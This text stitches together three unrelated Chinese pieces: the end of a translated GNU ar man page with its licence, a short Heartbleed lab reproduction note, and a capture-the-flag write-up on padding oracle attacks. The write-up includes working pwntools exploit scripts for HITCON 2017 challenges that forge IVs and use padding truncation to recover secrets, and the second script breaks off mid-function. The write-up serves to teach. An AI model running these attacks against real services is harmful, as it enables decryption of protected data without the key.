\|' 修饰符, 或者 对档案 执行 一次 `\|\c
.B ranlib\c
\|' .
.TP
.B u
通常\c
.B ar r\c
\&.\|.\|. 把所有 列出的 文件 插入到 档案中,
如果 希望 \c
.I 仅仅 \c
插入比 档案中 已有 成员 更新的 文件时,
就应该 使用 此修饰符. `\|\c
.B u\c
\|' 修饰符 仅允许 与 `\|\c
.B r\c
\|' (替换) 操作 一起 使用. 某些 情况下,
由于 用 `\|\c
.B q\c
\|' 操作 比较 文件的 时间属性 会失去
速度上的 优势, 所以 不允许 执行
`\|\c
.B qu\c
\|' 组合操作.
.TP
.B v
使用本修饰符可以进行
.I 冗余的
操作。附加了此修饰符时,很多操作会显示
更多的消息,如处理的文件名等。
.TP
.B V
显示
.BR ar
的版本号。
.PP
.SH "参考"
.B
info\c
\& 中的
.RB "`\|" binutils "\|'"
条目;
.I
The GNU Binary Utilities\c
, Roland H. Pesch (1991年10月).
.BR nm ( 1 )\c
\&,
.BR ranlib ( 1 )\c
\&.
.SH 版权
Copyright (c) 1991, 1992, 1993, 1995, 1998, 1999, 2000 Free Software Foundation, Inc.
.PP
This document is distributed under the terms of the GNU Free
Documentation License, version 1.1. That license is described in the
sources for this manual page, but it is not displayed here in order to
make this manual more consise. Copies of this license can also be
obtained from: http://www.gnu.org/copyleft/.
\" .SH GNU Free Documentation License
\" Version 1.1, March 2000
\" Copyright (C) 2000 Free Software Foundation, Inc.
\" 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
\" Everyone is permitted to copy and distribute verbatim
\" copies of this license document, but changing it is
\" not allowed.
\" .PP
\" 0. PREAMBLE
\" .PP
\" The purpose of this License is to make a manual, textbook, or other
\" written document "free" in the sense of freedom: to assure everyone
\" the effective freedom to copy and redistribute it, with or without
\" modifying it, either commercially or noncommercially. Secondarily,
\" this License preserves for the author and publisher a way to get
\" credit for their work, while not being considered responsible for
\" modifications made by others.
\" .PP
\" This License is a kind of "copyleft", which means that derivative
\" works of the document must themselves be free in the same sense. It
\" complements the GNU General Public License, which is a copyleft
\" license designed for free software.
\" .PP
\" We have designed this License in order to use it for manuals for free
\" software, because free software needs free documentation: a free
\" program should come with manuals providing the same freedoms that the
\" software does. But this License is not limited to software manuals;
\" it can be used for any textual work, regardless of subject matter or
\" whether it is published as a printed book. We recommend this License
\" principally for works whose purpose is instruction or reference.
\" .PP
\" 1. APPLICABILITY AND DEFINITIONS
\" .PP
\" This License applies to any manual or other work that contains a
\" notice placed by the copyright holder saying it can be distributed
\" under the terms of this License. The "Document", below, refers to any
\" such manual or work. Any member of the public is a licensee, and is
\" addressed as "you".
\" .PP
\" A "Modified Version" of the Document means any work containing the
\" Document or a portion of it, either copied verbatim, or with
\" modifications and/or translated into another language.
\" .PP
\" A "Secondary Section" is a named appendix or a front-matter section of
\" the Document that deals exclusively with the relationship of the
\" publishers or authors of the Document to the Document's overall subject
\" (or to related matters) and contains nothing that could fall directly
\" within that overall subject. (For example, if the Document is in part a
\" textbook of mathematics, a Secondary Section may not explain any
\" mathematics.) The relationship could be a matter of historical
\" connection with the subject or with related matters, or of legal,
\" commercial, philosophical, ethical or political position regarding
\" them.
\" .PP
\" The "Invariant Sections" are certain Secondary Sections whose titles
\" are designated, as being those of Invariant Sections, in the notice
\" that says that the Document is released under this License.
\" .PP
\" The "Cover Texts" are certain short passages of text that are listed,
\" as Front-Cover Texts or Back-Cover Texts, in the notice that says that
\" the Document is released under this License.
\" .PP
\" A "Transparent" copy of the Document means a machine-readable copy,
\" represented in a format whose specification is available to the
\" general public, whose contents can be viewed and edited directly and
\" straightforwardly with generic text editors or (for images composed of
\" pixels) generic paint programs or (for drawings) some widely available
\" drawing editor, and that is suitable for input to text formatters or
\" for automatic translation to a variety of formats suitable for input
\" to text formatters. A copy made in an otherwise Transparent file
\" format whose markup has been designed to thwart or discourage
\" subsequent modification by readers is not Transparent. A copy that is
\" not "Transparent" is called "Opaque".
\" .PP
\" Examples of suitable formats for Transparent copies include plain
\" ASCII without markup, Texinfo input format, LaTeX input format, SGML
\" or XML using a publicly available DTD, and standard-conforming simple
\" HTML designed for human modification. Opaque formats include
\" PostScript, PDF, proprietary formats that can be read and edited only
\" by proprietary word processors, SGML or XML for which the DTD and/or
\" processing tools are not generally available, and the
\" machine-generated HTML produced by some word processors for output
\" purposes only.
\" .PP
\" The "Title Page" means, for a printed book, the title page itself,
\" plus such following pages as are needed to hold, legibly, the material
\" this License requires to appear in the title page. For works in
\" formats which do not have any title page as such, "Title Page" means
\" the text near the most prominent appearance of the work's title,
\" preceding the beginning of the body of the text.
\" .PP
\" 2. VERBATIM COPYING
\" .PP
\" You may copy and distribute the Document in any medium, either
\" commercially or noncommercially, provided that this License, the
\" copyright notices, and the license notice saying this License applies
\" to the Document are reproduced in all copies, and that you add no other
\" conditions whatsoever to those of this License. You may not use
\" technical measures to obstruct or control the reading or further
\" copying of the copies you make or distribute. However, you may accept
\" compensation in exchange for copies. If you distribute a large enough
\" number of copies you must also follow the conditions in section 3.
\" .PP
\" You may also lend copies, under the same conditions stated above, and
\" you may publicly display copies.
\" .PP
\" 3. COPYING IN QUANTITY
\" .PP
\" If you publish printed copies of the Document numbering more than 100,
\" and the Document's license notice requires Cover Texts, you must enclose
\" the copies in covers that carry, clearly and legibly, all these Cover
\" Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on
\" the back cover. Both covers must also clearly and legibly identify
\" you as the publisher of these copies. The front cover must present
\" the full title with all words of the title equally prominent and
\" visible. You may add other material on the covers in addition.
\" Copying with changes limited to the covers, as long as they preserve
\" the title of the Document and satisfy these conditions, can be treated
\" as verbatim copying in other respects.
\" .PP
\" If the required texts for either cover are too voluminous to fit
\" legibly, you should put the first ones listed (as many as fit
\" reasonably) on the actual cover, and continue the rest onto adjacent
\" pages.
\" .PP
\" If you publish or distribute Opaque copies of the Document numbering
\" more than 100, you must either include a machine-readable Transparent
\" copy along with each Opaque copy, or state in or with each Opaque copy
\" a publicly-accessible computer-network location containing a complete
\" Transparent copy of the Document, free of added material, which the
\" general network-using public has access to download anonymously at no
\" charge using public-standard network protocols. If you use the latter
\" option, you must take reasonably prudent steps, when you begin
\" distribution of Opaque copies in quantity, to ensure that this
\" Transparent copy will remain thus accessible at the stated location
\" until at least one year after the last time you distribute an Opaque
\" copy (directly or through your agents or retailers) of that edition to
\" the public.
\" .PP
\" It is requested, but not required, that you contact the authors of the
\" Document well before redistributing any large number of copies, to give
\" them a chance to provide you with an updated version of the Document.
\" .PP
\" 4. MODIFICATIONS
\" .PP
\" You may copy and distribute a Modified Version of the Document under
\" the conditions of sections 2 and 3 above, provided that you release
\" the Modified Version under precisely this License, with the Modified
\" Version filling the role of the Document, thus licensing distribution
\" and modification of the Modified Version to whoever possesses a copy
\" of it. In addition, you must do these things in the Modified Version:
\" .PP
\" A. Use in the Title Page (and on the covers, if any) a title distinct
\" from that of the Document, and from those of previous versions
\" (which should, if there were any, be listed in the History section
\" of the Document). You may use the same title as a previous version
\" if the original publisher of that version gives permission.
\" .PP
\" B. List on the Title Page, as authors, one or more persons or entities
\" responsible for authorship of the modifications in the Modified
\" Version, together with at least five of the principal authors of the
\" Document (all of its principal authors, if it has less than five).
\" .PP
\" C. State on the Title page the name of the publisher of the
\" Modified Version, as the publisher.
\" .PP
\" D. Preserve all the copyright notices of the Document.
\" .PP
\" E. Add an appropriate copyright notice for your modifications
\" adjacent to the other copyright notices.
\" .PP
\" F. Include, immediately after the copyright notices, a license notice
\" giving the public permission to use the Modified Version under the
\" terms of this License, in the form shown in the Addendum below.
\" Preserve in that license notice the full lists of Invariant Sections
\" and required Cover Texts given in the Document's license notice.
\" .PP
\" H. Include an unaltered copy of this License.
\" .PP
\" I. Preserve the section entitled "History", and its title, and add to
\" it an item stating at least the title, year, new authors, and
\" publisher of the Modified Version as given on the Title Page. If
\" there is no section entitled "History" in the Document, create one
\" stating the title, year, authors, and publisher of the Document as
\" given on its Title Page, then add an item describing the Modified
\" Version as stated in the previous sentence.
\" .PP
\" J. Preserve the network location, if any, given in the Document for
\" public access to a Transparent copy of the Document, and likewise
\" the network locations given in the Document for previous versions
\" it was based on. These may be placed in the "History" section.
\" You may omit a network location for a work that was published at
\" least four years before the Document itself, or if the original
\" publisher of the version it refers to gives permission.
\" .PP
\" K. In any section entitled "Acknowledgements" or "Dedications",
\" preserve the section's title, and preserve in the section all the
\" substance and tone of each of the contributor acknowledgements
\" and/or dedications given therein.
\" .PP
\" L. Preserve all the Invariant Sections of the Document,
\" unaltered in their text and in their titles. Section numbers
\" or the equivalent are not considered part of the section titles.
\" .PP
\" M. Delete any section entitled "Endorsements". Such a section
\" may not be included in the Modified Version.
\" .PP
\" N. Do not retitle any existing section as "Endorsements"
\" or to conflict in title with any Invariant Section.
\" .PP
\" If the Modified Version includes new front-matter sections or
\" appendices that qualify as Secondary Sections and contain no material
\" copied from the Document, you may at your option designate some or all
\" of these sections as invariant. To do this, add their titles to the
\" list of Invariant Sections in the Modified Version's license notice.
\" These titles must be distinct from any other section titles.
\" .PP
\" You may add a section entitled "Endorsements", provided it contains
\" nothing but endorsements of your Modified Version by various
\" parties--for example, statements of peer review or that the text has
\" been approved by an organization as the authoritative definition of a
\" standard.
\" .PP
\" You may add a passage of up to five words as a Front-Cover Text, and a
\" passage of up to 25 words as a Back-Cover Text, to the end of the list
\" of Cover Texts in the Modified Version. Only one passage of
\" Front-Cover Text and one of Back-Cover Text may be added by (or
\" through arrangements made by) any one entity. If the Document already
\" includes a cover text for the same cover, previously added by you or
\" by arrangement made by the same entity you are acting on behalf of,
\" you may not add another; but you may replace the old one, on explicit
\" permission from the previous publisher that added the old one.
\" .PP
\" The author(s) and publisher(s) of the Document do not by this License
\" give permission to use their names for publicity for or to assert or
\" imply endorsement of any Modified Version.
\" .PP
\" 5. COMBINING DOCUMENTS
\" .PP
\" You may combine the Document with other documents released under this
\" License, under the terms defined in section 4 above for modified
\" versions, provided that you include in the combination all of the
\" Invariant Sections of all of the original documents, unmodified, and
\" list them all as Invariant Sections of your combined work in its
\" license notice.
\" .PP
\" The combined work need only contain one copy of this License, and
\" multiple identical Invariant Sections may be replaced with a single
\" copy. If there are multiple Invariant Sections with the same name but
\" different contents, make the title of each such section unique by
\" adding at the end of it, in parentheses, the name of the original
\" author or publisher of that section if known, or else a unique number.
\" Make the same adjustment to the section titles in the list of
\" Invariant Sections in the license notice of the combined work.
\" .PP
\" In the combination, you must combine any sections entitled "History"
\" in the various original documents, forming one section entitled
\" "History"; likewise combine any sections entitled "Acknowledgements",
\" and any sections entitled "Dedications". You must delete all sections
\" entitled "Endorsements."
\" .PP
\" 6. COLLECTIONS OF DOCUMENTS
\" .PP
\" You may make a collection consisting of the Document and other documents
\" released under this License, and replace the individual copies of this
\" License in the various documents with a single copy that is included in
\" the collection, provided that you follow the rules of this License for
\" verbatim copying of each of the documents in all other respects.
\" .PP
\" You may extract a single document from such a collection, and distribute
\" it individually under this License, provided you insert a copy of this
\" License into the extracted document, and follow this License in all
\" other respects regarding verbatim copying of that document.
\" .PP
\" 7. AGGREGATION WITH INDEPENDENT WORKS
\" .PP
\" A compilation of the Document or its derivatives with other separate
\" and independent documents or works, in or on a volume of a storage or
\" distribution medium, does not as a whole count as a Modified Version
\" of the Document, provided no compilation copyright is claimed for the
\" compilation. Such a compilation is called an "aggregate", and this
\" License does not apply to the other self-contained works thus compiled
\" with the Document, on account of their being thus compiled, if they
\" are not themselves derivative works of the Document.
\" .PP
\" If the Cover Text requirement of section 3 is applicable to these
\" copies of the Document, then if the Document is less than one quarter
\" of the entire aggregate, the Document's Cover Texts may be placed on
\" covers that surround only the Document within the aggregate.
\" Otherwise they must appear on covers around the whole aggregate.
\" .PP
\" 8. TRANSLATION
\" .PP
\" Translation is considered a kind of modification, so you may
\" distribute translations of the Document under the terms of section 4.
\" Replacing Invariant Sections with translations requires special
\" permission from their copyright holders, but you may include
\" translations of some or all Invariant Sections in addition to the
\" original versions of these Invariant Sections. You may include a
\" translation of this License provided that you also include the
\" original English version of this License. In case of a disagreement
\" between the translation and the original English version of this
\" License, the original English version will prevail.
\" .PP
\" 9. TERMINATION
\" .PP
\" You may not copy, modify, sublicense, or distribute the Document except
\" as expressly provided for under this License. Any other attempt to
\" copy, modify, sublicense or distribute the Document is void, and will
\" automatically terminate your rights under this License. However,
\" parties who have received copies, or rights, from you under this
\" License will not have their licenses terminated so long as such
\" parties remain in full compliance.
\" .PP
\" 10. FUTURE REVISIONS OF THIS LICENSE
\" .PP
\" The Free Software Foundation may publish new, revised versions
\" of the GNU Free Documentation License from time to time. Such new
\" versions will be similar in spirit to the present version, but may
\" differ in detail to address new problems or concerns. See
\" http://www.gnu.org/copyleft/.
\" .PP
\" Each version of the License is given a distinguishing version number.
\" If the Document specifies that a particular numbered version of this
\" License "or any later version" applies to it, you have the option of
\" following the terms and conditions either of that specified version or
\" of any later version that has been published (not as a draft) by the
\" Free Software Foundation. If the Document does not specify a version
\" number of this License, you may choose any version ever published (not
\" as a draft) by the Free Software Foundation.
\" .PP
\" ADDENDUM: How to use this License for your documents
\" .PP
\" To use this License in a document you have written, include a copy of
\" the License in the document and put the following copyright and
\" license notices just after the title page:
\" .PP
\" Copyright (c) YEAR YOUR NAME.
\" Permission is granted to copy, distribute and/or
\" modify this document under the terms of the GNU
\" Free Documentation License, Version 1.1 or any later
\" version published by the Free Software Foundation;
\" with the Invariant Sections being LIST THEIR TITLES,
\" with the Front-Cover Texts being LIST, and with the
\" Back-Cover Texts being LIST. A copy of the license
\" is included in the section entitled "GNU Free
\" Documentation License".
\" .PP
\" If you have no Invariant Sections, write "with no Invariant Sections"
\" instead of saying which ones are invariant. If you have no
\" Front-Cover Texts, write "no Front-Cover Texts" instead of
\" "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
\" .PP
\" If your document contains nontrivial examples of program code, we
\" recommend releasing these examples in parallel under your choice of
\" free software license, such as the GNU General Public License,
\" to permit their use in free software.
.SH 中文版维护人
.B Yin Huaming <yhmact@pzh-public.sc.cninfo.net>
.SH 中文版最新更新
.BR 2002/06/23
.SH "中国 Linux 论坛 man 手册页翻译计划"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# OpenSSL 心脏出血漏洞(CVE-2014-0160)
心脏出血是OpenSSL库中的一个内存漏洞,攻击者利用这个漏洞可以服务到目标进程内存信息,如其他人的Cookie等敏感信息。
参考链接:
- https://heartbleed.com/
- https://filippo.io/Heartbleed
## 环境搭建
运行如下命令启动一个使用了OpenSSL 1.0.1c的Nginx服务器:
```
docker compose up -d
```
环境启动后,访问`https://your-ip:8443`即可查看到hello页面(需要忽略https错误)。
> 我们在运行这个环境的时候遇到过一个错误,部分AMD架构的CPU无法成功访问https页面,如果你也遇到过类似的问题,可以换Intel CPU试试。
## 漏洞复现
访问<https://filippo.io/Heartbleed>进行在线检测:

Python运行[ssltest.py](ssltest.py),拿到敏感数据(Cookie):

|
sec-knowleage
|
# Padding Oracle Attack
## 介绍
Padding Oracle Attack 攻击一般需要满足以下几个条件
- 加密算法
- 采用 PKCS5 Padding 的加密算法。 当然,非对称加密中 OAEP 的填充方式也有可能会受到影响。
- 分组模式为 CBC 模式。
- 攻击者能力
- 攻击者可以拦截上述加密算法加密的消息。
- 攻击者可以和 padding oracle(即服务器) 进行交互:客户端向服务器端发送密文,服务器端会以某种返回信息告知客户端 padding 是否正常。
Padding Oracle Attack 攻击可以达到的效果如下
- 在不清楚 key 和 IV 的前提下解密任意给定的密文。
## 原理
Padding Oracle Attack 攻击的基本原理如下
- 对于很长的消息一块一块解密。
- 对于每一块消息,先解密消息的最后一个字节,然后解密倒数第二个字节,依次类推。
这里我们回顾一下 CBC 的
- 加密
$$
C_i=E_K(P_i \oplus C_{i-1})\\
C_0=IV
$$
- 解密
$$
P_{i}=D_{K}(C_{i})\oplus C_{i-1}\\ C_{0}=IV
$$
我们主要关注于解密,这里我们并不知道 IV 和 key。这里我们假设密文块的长度为 n 个字节。
假设我们截获了密文最后两个密文块 $F$ 与 $Y$ ,以获取密文块 $Y$ 的对应明文的最后一个字节为例子进行分析。为了获取 $Y$ 解密后的内容,我们首先需要伪造一块密文块 $F'$ 以便于可以修改 $Y$ 对应解密明文的最后一个字节。这是因为若我们构造密文 `F'|Y` ,那么解密 $Y$ 时具体为 $P'=D_K(Y)\oplus F'$ ,所以修改密文块 $F'$ 的最后一个字节 $F'_{n}$ 可以修改 Y 对应解密明文 $P'$ 的最后一个字节 $P'_n$ ,进而反推出原先的明文 $P$ 的最后一个字节。下面给出获取 $P$ 最后一个字节的过程:
1. `i=0`,设置 $F'$ 的每个字节为**随机字节**。
2. 设置 $F'_n=i \oplus 0x01$ 。
3. 将 `F'|Y` 发送给服务器,如果服务器端没有报错,那有很大概率 $P'$ 的最后一个字节是 0x01。否则,只有 $P'$ 的最后 $P'_n \oplus i \oplus 0x01$ 字节都是 $P'_n \oplus i \oplus 0x01$ 才不会报错。**而且,需要注意的是 padding 的字节只能是 1 到 n。** 因此,若想要使得在 F' 随机地情况下,并且满足 padding 字节大小的约束情况下还不报错**概率很小**。所以在服务器端不报错的情况下,我们可以认为我们确实获取了正确的字节。这时可知 $D_k(Y)$ 的最后一个字节 $D_k(Y)_n$ 为 $P'_n \oplus F'_n = 0x01 \oplus i \oplus 0x01 = i$ ,即可知道原先的明文 $P$ 的最后一个字节 $P_n = D_k(Y)_n \oplus F_n = i \oplus F_n$ 。
4. 在出现错误的情况下,`i=i+1`,跳转到 2.。
当获取了 $P$ 的最后一个字节后,我们可以继续获取 $P$ 的倒数第二个字节,此时需要设置 $F'_n=D_k(Y)_n\oplus 0x02$ ,同时设置 $F_{n-1}=i \oplus 0x02$ 去枚举 `i`。以此类推,我们可以获取 Y 所对应的明文 $P$ 的所有字节。
所以,综上所示,Padding Oracle Attack 其实在一定程度上是一种具有很大概率成功的攻击方法。
然而,需要注意的是,往往遇到的一些现实问题并不是标准的 Padding Oracle Attack 模式,我们往往需要进行一些变形。
## 2017 HITCON Secret Server
### 分析
程序中采用的加密是 AES CBC,其中采用的 padding 与 PKCS5 类似
```python
def pad(msg):
pad_length = 16-len(msg)%16
return msg+chr(pad_length)*pad_length
def unpad(msg):
return msg[:-ord(msg[-1])]
```
但是,在每次 unpad 时并没有进行检测,而是直接进行 unpad。
其中,需要注意的是,每次和用户交互的函数是
- `send_msg` ,接受用户的明文,使用固定的 `2jpmLoSsOlQrqyqE` 作为 IV,进行加密,并将加密结果输出。
- `recv_msg` ,接受用户的 IV 和密文,对密文进行解密,并返回。根据返回的结果会有不同的操作
```python
msg = recv_msg().strip()
if msg.startswith('exit-here'):
exit(0)
elif msg.startswith('get-flag'):
send_msg(flag)
elif msg.startswith('get-md5'):
send_msg(MD5.new(msg[7:]).digest())
elif msg.startswith('get-time'):
send_msg(str(time.time()))
elif msg.startswith('get-sha1'):
send_msg(SHA.new(msg[8:]).digest())
elif msg.startswith('get-sha256'):
send_msg(SHA256.new(msg[10:]).digest())
elif msg.startswith('get-hmac'):
send_msg(HMAC.new(msg[8:]).digest())
else:
send_msg('command not found')
```
### 主要漏洞
这里我们再简单总结一下我们已有的部分
- 加密
- 加密时的 IV 是固定的而且已知。
- 'Welcome!!' 加密后的结果。
- 解密
- 我们可以控制 IV。
首先,既然我们知道 `Welcome!!` 加密后的结果,还可以控制 recv_msg 中的 IV,那么根据解密过程
$$
P_{i}=D_{K}(C_{i})\oplus C_{i-1}\\ C_{0}=IV
$$
如果我们将 `Welcome!!` 加密后的结果输入给 recv_msg,那么直接解密后的结果便是 `(Welcome!!+'\x07'*7) xor iv`,如果我们**恰当的控制解密过程中传递的 iv**,那么我们就可以控制解密后的结果。也就是说我们可以执行**上述所说的任意命令**。从而,我们也就可以知道 `flag` 解密后的结果。
其次,在上面的基础之上,如果我们在任何密文 C 后面添加自定义的 IV 和 Welcome 加密后的结果,作为输入传递给 recv_msg,那么我们便可以控制解密之后的消息的最后一个字节,**那么由于 unpad 操作,我们便可以控制解密后的消息的长度减小 0 到 255**。
### 利用思路
基本利用思路如下
1. 绕过 proof of work
2. 根据执行任意命令的方式获取加密后的 flag。
3. 由于 flag 的开头是 `hitcon{`,一共有7个字节,所以我们任然可以通过控制 iv 来使得解密后的前 7 个字节为指定字节。这使得我们可以对于解密后的消息执行 `get-md5` 命令。而根据 unpad 操作,我们可以控制解密后的消息恰好在消息的第几个字节处。所以我们可以开始时将控制解密后的消息为 `hitcon{x`,即只保留`hitcon{` 后的一个字节。这样便可以获得带一个字节哈希后的加密结果。类似地,我们也可以获得带制定个字节哈希后的加密结果。
4. 这样的话,我们可以在本地逐字节爆破,计算对应 `md5`,然后再次利用任意命令执行的方式,控制解密后的明文为任意指定命令,如果控制不成功,那说明该字节不对,需要再次爆破;如果正确,那么就可以直接执行对应的命令。
具体代码如下
```python
#coding=utf-8
from pwn import *
import base64, time, random, string
from Crypto.Cipher import AES
from Crypto.Hash import SHA256, MD5
#context.log_level = 'debug'
if args['REMOTE']:
p = remote('52.193.157.19', 9999)
else:
p = remote('127.0.0.1', 7777)
def strxor(str1, str2):
return ''.join([chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(str1, str2)])
def pad(msg):
pad_length = 16 - len(msg) % 16
return msg + chr(pad_length) * pad_length
def unpad(msg):
return msg[:-ord(msg[-1])] # 去掉pad
def flipplain(oldplain, newplain, iv):
"""flip oldplain to new plain, return proper iv"""
return strxor(strxor(oldplain, newplain), iv)
def bypassproof():
p.recvuntil('SHA256(XXXX+')
lastdata = p.recvuntil(')', drop=True)
p.recvuntil(' == ')
digest = p.recvuntil('\nGive me XXXX:', drop=True)
def proof(s):
return SHA256.new(s + lastdata).hexdigest() == digest
data = pwnlib.util.iters.mbruteforce(
proof, string.ascii_letters + string.digits, 4, method='fixed')
p.sendline(data)
p.recvuntil('Done!\n')
iv_encrypt = '2jpmLoSsOlQrqyqE'
def getmd5enc(i, cipher_flag, cipher_welcome):
"""return encrypt( md5( flag[7:7+i] ) )"""
## keep iv[7:] do not change, so decrypt won't change
new_iv = flipplain("hitcon{".ljust(16, '\x00'), "get-md5".ljust(
16, '\x00'), iv_encrypt)
payload = new_iv + cipher_flag
## calculate the proper last byte number
last_byte_iv = flipplain(
pad("Welcome!!"),
"a" * 15 + chr(len(cipher_flag) + 16 + 16 - (7 + i + 1)), iv_encrypt)
payload += last_byte_iv + cipher_welcome
p.sendline(base64.b64encode(payload))
return p.recvuntil("\n", drop=True)
def main():
bypassproof()
# result of encrypted Welcome!!
cipher = p.recvuntil('\n', drop=True)
cipher_welcome = base64.b64decode(cipher)[16:]
log.info("cipher welcome is : " + cipher_welcome)
# execute get-flag
get_flag_iv = flipplain(pad("Welcome!!"), pad("get-flag"), iv_encrypt)
payload = base64.b64encode(get_flag_iv + cipher_welcome)
p.sendline(payload)
cipher = p.recvuntil('\n', drop=True)
cipher_flag = base64.b64decode(cipher)[16:]
flaglen = len(cipher_flag)
log.info("cipher flag is : " + cipher_flag)
# get command not found cipher
p.sendline(base64.b64encode(iv_encrypt + cipher_welcome))
cipher_notfound = p.recvuntil('\n', drop=True)
flag = ""
# brute force for every byte of flag
for i in range(flaglen - 7):
md5_indexi = getmd5enc(i, cipher_flag, cipher_welcome)
md5_indexi = base64.b64decode(md5_indexi)[16:]
log.info("get encrypt(md5(flag[7:7+i])): " + md5_indexi)
for guess in range(256):
# locally compute md5 hash
guess_md5 = MD5.new(flag + chr(guess)).digest()
# try to null out the md5 plaintext and execute a command
payload = flipplain(guess_md5, 'get-time'.ljust(16, '\x01'),
iv_encrypt)
payload += md5_indexi
p.sendline(base64.b64encode(payload))
res = p.recvuntil("\n", drop=True)
# if we receive the block for 'command not found', the hash was wrong
if res == cipher_notfound:
print 'Guess {} is wrong.'.format(guess)
# otherwise we correctly guessed the hash and the command was executed
else:
print 'Found!'
flag += chr(guess)
print 'Flag so far:', flag
break
if __name__ == "__main__":
main()
```
最后结果如下
```Shell
Flag so far: Paddin9_15_ve3y_h4rd__!!}\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10
```
## 2017 HITCON Secret Server Revenge
### 描述
```
The password of zip is the flag of "Secret Server"
```
### 分析
这个程序时接着上面的程序继续搞的,不过这次进行的简单的修改
- 加密算法的 iv 未知,不过可以根据 Welcome 加密后的消息推算出来。
- 程序多了一个 56 字节的 token。
- 程序最多能进行 340 操作,因此上述的爆破自然不可行
程序的大概流程如下
1. 经过 proof of work
2. 发送 “Welcome!!” 加密后的消息
3. 在 340 次操作中,需要猜中 token 的值,然后会自动将 flag 输出。
### 漏洞
当然,在上个题目中存在的漏洞,在这个题目中仍然存在,即
1. 任意执行给定命令
2. 长度截断
### 利用思路
由于 340 的次数限制,虽然我们仍然可以获得 `md5(token[:i])` 加密后的值(**这里需要注意的是这部分加密后恰好是 32 个字节,前 16 个字节是 md5 后加密的值,后面的 16 个字节完全是填充的加密后的字节。**这里`md5(token[:i])` 特指前16个字节。)。但是,我们不能再次为了获得一个字符去爆破 256 次了。
既然不能够爆破,那么我们有没有可能一次获取一个字节的大小呢?这里,我们再来梳理一下该程序可能可以泄漏的信息
1. 某些消息的 md5 值加密后的值,这里我们可以获取 `md5(token[:i])` 加密后的值。
2. unpad 每次会对解密后的消息进行 unpad,这个字节是根据解密后的消息的最后一个字节来决定的。如果我们可以计算出这个字节的大小,那么我们就可能可以知道一个字节的值。
这里我们深入分析一下 unpad 的信息泄漏。如果我们将加密 IV 和 `encrypt(md5(token[:i]))` 放在某个密文 C 的后面,构成 `C|IV|encrypt(md5(token[:i]))`,那么解密出来的消息的最后一个明文块就是 `md5(token[:i])`。进而,在 unpad 的时候就是利用 `md5(token[:i])` 的最后一个字节( 0-255)进行 unpad,之后对 unpad 后的字符串执行指定的命令(比如md5)。那么,如果我们**事先构造一些消息哈希后加密的样本**,然后将上述执行后的结果与样本比较,如果相同,那么我们基本可以确定 `md5(token[:i]) ` 的**最后一个字节**。然而,如果 `md5(token[:i])` 的最后一个字节小于16,那么在 unpad 时就会利用一些 md5 中的值,而这部分值,由于对于不同长度的 `token[:i]` 几乎都不会相同。所以可能需要特殊处理。
我们已经知道了这个问题的关键,即生成与 unpad 字节大小对应的加密结果样本,以便于查表。
具体利用思路如下
1. 绕过 proof of work。
2. 获取 token 加密后的结果 `token_enc` ,这里会在 token 前面添加 7 个字节 `"token: "` 。 因此加密后的长度为 64。
3. 依次获取 `encrypt(md5(token[:i]))` 的结果,一共是 57 个,包括最后一个 token 的 padding。
4. 构造与 unpad 大小对应的样本。这里我们构造密文 `token_enc|padding|IV_indexi|welcome_enc`。由于 `IV_indexi` 是为了修改最后一个明文块的最后一个字节,所以该字节处于变化之中。我们若想获取一些固定字节的哈希值,这部分自然不能添加。因此这里产生样本时 unpad 的大小范围为 17 ~ 255。如果最后测试时 `md5(token[:i])` 的最后一个字节小于17的话,基本就会出现一些未知的样本。很自然的一个想法是我们直接获取 255-17+1个这么多个样本,然而,如果这样做的话,根据上面 340 的次数(255-17+1+57+56>340)限制,我们显然不能获取到 token 的所有字节。所以这里我们需要想办法复用一些内容,这里我们选择复用 `encrypt(md5(token[:i]))` 的结果。那么我们在补充 padding 时需要确保一方面次数够用,另一方面可以复用之前的结果。这里我们设置 unpad 的循环为 17 到 208,并使得 unpad 大于 208 时恰好 unpad 到我们可以复用的地方。这里需要注意的是,当 `md5(token[:i])` 的最后一个字节为 0 时,会将所有解密后的明文 unpad 掉,因此会出现 command not found 的密文。
5. 再次构造密文 `token_enc|padding|IV|encrypt(md5(token[:i])) ` ,那么,解密时即使用 `md5(token[:i])` 的最后一个字节进行 unpad。如果这个字节不小于17或者为0,则可以处理。如果这个字节小于17,那么显然,最后返回给用户的 md5 的结果并不在样本范围内,那么我们修改其最后一个字节的最高比特位,使其 unpad 后可以落在样本范围内。这样,我们就可以猜出 `md5(token[:i]) ` 的最后一个字节。
6. 在猜出 `md5(token[:i]) ` 的最后一个字节后,我们可以在本地暴力破解 256 次,找出所有哈希值末尾为 `md5(token[:i]) ` 的最后一个字节的字符。
7. 但是,在第六步中,对于一个 `md5(token[:i]) ` 可能会找出多个备选字符,因为我们只需要使得其末尾字节是给定字节即可。
8. 那么,问题来了,如何删除一些多余的备选字符串呢?这里我就选择了一个小 trick,即在逐字节枚举时,同时枚举出 token 的 padding。由于 padding 是 0x01 是固定的,所以我们只需要过滤出所有结尾不是 0x01 的token 即可。
这里,在测试时,将代码中 `sleep` 注释掉了。以便于加快交互速度。利用代码如下
```python
from pwn import *
import base64, time, random, string
from Crypto.Cipher import AES
from Crypto.Hash import SHA256, MD5
#context.log_level = 'debug'
p = remote('127.0.0.1', 7777)
def strxor(str1, str2):
return ''.join([chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(str1, str2)])
def pad(msg):
pad_length = 16 - len(msg) % 16
return msg + chr(pad_length) * pad_length
def unpad(msg):
return msg[:-ord(msg[-1])] # remove pad
def flipplain(oldplain, newplain, iv):
"""flip oldplain to new plain, return proper iv"""
return strxor(strxor(oldplain, newplain), iv)
def bypassproof():
p.recvuntil('SHA256(XXXX+')
lastdata = p.recvuntil(')', drop=True)
p.recvuntil(' == ')
digest = p.recvuntil('\nGive me XXXX:', drop=True)
def proof(s):
return SHA256.new(s + lastdata).hexdigest() == digest
data = pwnlib.util.iters.mbruteforce(
proof, string.ascii_letters + string.digits, 4, method='fixed')
p.sendline(data)
def sendmsg(iv, cipher):
payload = iv + cipher
payload = base64.b64encode(payload)
p.sendline(payload)
def recvmsg():
data = p.recvuntil("\n", drop=True)
data = base64.b64decode(data)
return data[:16], data[16:]
def getmd5enc(i, cipher_token, cipher_welcome, iv):
"""return encrypt( md5( token[:i+1] ) )"""
